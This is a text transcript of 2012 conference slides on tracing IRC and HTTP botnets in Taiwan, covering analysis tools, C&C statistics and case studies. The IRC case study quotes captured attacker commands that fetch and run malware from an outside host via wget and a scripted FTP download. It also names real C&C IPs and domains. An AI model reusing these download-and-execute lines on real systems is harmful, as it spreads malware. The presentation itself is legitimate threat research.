Top Banner
Tracing Botnet in Taiwan Kai – Chi Chang (K.C.) 2012/11/12 [email protected] [email protected]
57

Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan...

Mar 24, 2018

Download

Documents

duongkien
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Tracing Botnet in Taiwan

Kai – Chi Chang (K.C.)

2012/11/12

[email protected]

[email protected]

mailto:[email protected]
Page 2: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Outline

● My organization

● The domain knowledge of Botnet

● The analysis architecture for Botnet

– Botnet Analysis Module (BAM)

– C&C Tracer

– Botnet Tracer

● The Botnet in Taiwan

– Case Study Ⅰ IRC Botnet

– Case Study Ⅱ HTTP Botnet

● Cooperation in Taiwan

● Conclusion & Future Work

Page 3: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

My Organization

● I work for III (Institute for Information Industry)

● My department is Cyber Trust Technology Institute

— Information Security Service Center

● I join ICST project, tracing Botnet is a part of ICST

project

Page 4: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

The domain knowledge of Botnet

Page 5: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

The analysis architecture for botnet

14,000

Public IP

Page 6: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Botnet Analysis Module (BAM)

● This module works in closed environment

Page 7: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

BAM’s Analysis Result

Page 8: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

● From Jan. to Sep. in 2012 , BAM analyzed 41,853 malware

samples

– 41,396 samples had been collected from “Honeynet”

– 457 samples had been downloaded by “Botnet Tracer”

– The total bots amounted to 4,454 (10%)

● HTTP Real-Time Detector (plug-in of BAM)

– Intercept 22,813 HTTP request URL of botnet

– 6,795 malicious URL are connected to intermediate nodes or

download sites

Performance of BAM

Page 9: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Performance of BAM

● By using VirusTotal scanning service and depending on

the result of Kaspersky antivirus software

– Protocol statistics of all 4,454 bots :

IRC3,077 / 69.1%

P2P852 / 19.1%

HTTP525 / 11.8%

Page 10: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

C&C Tracer

● DN map IP address

● IP address map location information

Page 11: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

C&C Tracer

Page 12: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Performance of C&C Tracer

● From Jan. to Sep. in 2012, C&C Tracer traced 8,481 IP

addresses of C&C servers

– All C&C servers are distributed over 96 countries

– 62 C&C servers are located in Taiwan

11,600 13,102

15,128

8,481

56 40

171

62

0

50

100

150

200

250

300

0

3,000

6,000

9,000

12,000

15,000

18,000

2009 2010 2011 2012

【C&C Tracer】

Global Taiwan

Page 13: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Botnet Tracer

● Botnet Tracer need to connect the real C&C server

● Avoid tracer attack other node on internet, so we need data control

Page 14: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Performance of Botnet Tracer

● From Jan. to Sep. in 2012, Botnet Tracer discovered

128,680 botnet victims

– All botnet victims are distributed over 175 countries

– The top 3: Chile, Netherlands and Germany

10,137

89,001

257,894

128,680

195

5,383

2,273

686

0

1,000

2,000

3,000

4,000

5,000

6,000

0

50,000

100,000

150,000

200,000

250,000

300,000

2009 2010 2011 2012

【Botnet Tracer】

Global Taiwan

Page 15: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Botnet Tracer

Page 16: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Botnet Tracer

Page 17: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Botnet Tracer

Page 18: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Botnet Distribution

Page 19: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case Study

Page 20: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case Study

● Case StudyⅠ– IRC Botnet

– In case1 , I will show the IRC Botnet in real word.

– What kind of exploit that hacker use it?

– What we found in those Botnet?

– It maybe not the latest, but it is real one.

● Case StudyⅡ– HTTP Botnet

– In case2, I will show the Botnet analysis timeline.

– The analysis of a HTTP Botnet C&C server

– What we found in those Botnet?

Page 21: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅠ- IRC Botnet

Page 22: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅠ- IRC Botnet

Command Function

` Using escape

cd /tmp; Change directory

Wget http://74.62.155.43/xt.dat Get the malware

perl /tmp/xt.dat; Run the malware

Rm -rf /tmp/xt.dat` Delete the malware

CVE-2002-0837

Page 23: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅠ- IRC Botnet

Page 24: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅠ- IRC Botnet

MS08-067

Page 25: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅠ- IRC Botnet

cmd /c echo open pornhq.dynalias.com 8989 > i

&echo user upload upload >> i

&echo binary >> i

&echo get /dn.exe >> i

&echo quit >> i

&ftp -n -s:i

&dn.exe

Page 26: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅠ- IRC Botnet

Page 27: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅠ- IRC Botnet

Page 28: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅠ– The Victims

Page 29: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅠ– Shopping Account

Page 30: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅠ– The Credit Card

Page 31: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅠ– Social Network

Page 32: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅠ– VNC Victim

Page 33: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅠ- DDoS

Page 34: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅡ

● A Sketch of the Botnet Structure

Page 35: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

34

Case StudyⅡ

Incident Handling Process

● Description:

– On Feb. 24th, 2012, we discovered a C&C server of a botnet

located in TANet (Taiwan academic network). In order to defend

Taiwan network security, we decided to setup a sniffer on the C&C

server to reveal underlying victims and for further analysis.

Page 36: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅡ

The Structure of Botnet

● Network structure:

73 C&C Domain names

Toolkit

1.Scanning Tools

2.Brute force automation

3.dictionary and wordlist

C&C Server

85.17.138.133

Bot Bot Bot Bot BotBot

Discovered

121,336

victims

Taiwan (140.123.103.148)

Fast-Flux Network

(HTTP Proxy)

HTTP

Request

SSH

Connection

Botherder

149.4.112.249Queens College of CUNY

Page 37: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

● The top 5 C&C DN-IP mapping:

Case StudyⅡ

IP Distribution of C&C

020406080

100120

31 32

109

9

10196

2016

16

Mapping Countries Mapping IP Addresses

Page 38: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅡ

DN-IP Mapping of C&C

telecurveopora.co

m

cutenews.net

217.24.*.7

140.*.103.148

…

216.*.250.25

184.95.*.154

…

113.*.251.236

124.248.*.46

…

C&C Domain name

C&C Domain name

C&C Mapping IP

C&C Mapping IP

C&C Mapping IP

Page 39: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅡ

Country Distribution of C&C

● The top 10 country distribution:

United States, 42 / 48%

China, 19 / 22%

Russia, 5 / 6%

Canada, 4 / 4%

Ukraine, 4 / 5%

Korea, 4 / 5%

Switzerland, 3 / 3%

Indonesia, 3 / 3%

Australia, 2 / 2% Brazil,

2 / 2%

Page 40: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅡ

Geographic Distribution of C&C

Page 41: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅡ

Botnet functionalities

HTTP Method

DNS

Query

DNS Server

Fast-Flux Proxy

HTTP Method

C&C ServerVictims

SSH

Login

140.123.103.148

Scanning

RPC(3309)

SSH(22)

VNC(5900)

Botherder

Targets

85.17.138.133

149.4.112.249

Page 42: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅡ

Scanning Toolkit

Page 43: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅡ

Scanning Toolkit – Manual

Page 44: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅡ

PC Information of Victims

Page 45: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅡ

Victims of Scanning Result

Page 46: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅡ

Leak of Bank Information?

Page 47: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Case StudyⅡ

Global Distribution of Bots

Page 48: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Cooperation in Taiwan

Page 49: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Cooperation in Taiwan

Page 50: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Cooperation in Taiwan

The notification for other Cert The notification in Taiwan

Page 51: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Conclusion

● The botnet threat continued intensify in the word,

ICST went to reduce the threat. We have to do

something：

● In order to combat botnet spread, we want to

shorten the time of the hacker control victims, and

notify those victim in real time

− In the future, We will still trace botnet, and make sure

our tool would be better and better

− Try to collect more and more C&C domain name for

C&C Tracer

Page 52: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Future Work

● How about data exchange?

– If we could get those data in real time, we could analyze

those data, and notify those victims.

● The following information can be exchanged between

your country/organization and Taiwan

– Honeynet (instance log / malware)

– Botnet (C&C and Botnet information)

– Spam (The Spammer IP)

Page 53: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

My team member

K.C.

Meng-Han Tsai (S. P.)

Page 54: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

My team member

Eric

(Dr. Mo)

Chang Cheng

Page 55: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

My co-worker

Raymond Ginni

Page 56: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

55

Thank you for your kind attention

Page 57: Tracing Botnet in Taiwan - FIRST Botnet Analysis Module (BAM) – C&C Tracer – Botnet Tracer The Botnet in Taiwan – Case Study Ⅰ IRC Botnet ... Tracing Botnet in Taiwan Author:

Q&A

Botnet K.C.


Related Documents
Your Botnet is My Botnet : Analysis of a Botnet Takeover

Your Botnet is My Botnet : Analysis of a Botnet ...

Category: Documents
Botnet slide

Botnet slide

Category: Education
Botnet Dection system

Botnet Dection system

Category: Documents
Botnet Tutorial

Botnet Tutorial

Category: Documents
Botnet and Malware behavior analysis - HITCON and Malware behavior analysis.pdf · Honeynet Project Taiwan Chapter Non-profit (501c3) organization with Board of Directors. Funded

Botnet and Malware behavior analysis - HITCON and Malware...

Category: Documents
Botnet detection using correlated anomalies · deals with machine learning techniques and algorithms used for training botnet ... Botnet detection faces a number of ... Botnet detection

Botnet detection using correlated anomalies · deals with.....

Category: Documents
Botnetler Ve Tehdit Gözetleme Sistemiulakbim.tubitak.gov.tr/sites/images/Ulakbim/tehditgozetlemesistemi... · Your Botnet is My Botnet : Analysis of a Botnet Takeover. Security.

Botnetler Ve Tehdit Gözetleme...

Category: Documents
Botnet Infiltration

Botnet Infiltration

Category: Documents
Global Botnet Detector

Global Botnet Detector

Category: Data & Analytics
Million Browser Botnet

Million Browser Botnet

Category: Technology
Botnet ppt

Botnet ppt

Category: Documents
Storm Worm & Botnet

Storm Worm & Botnet

Category: Technology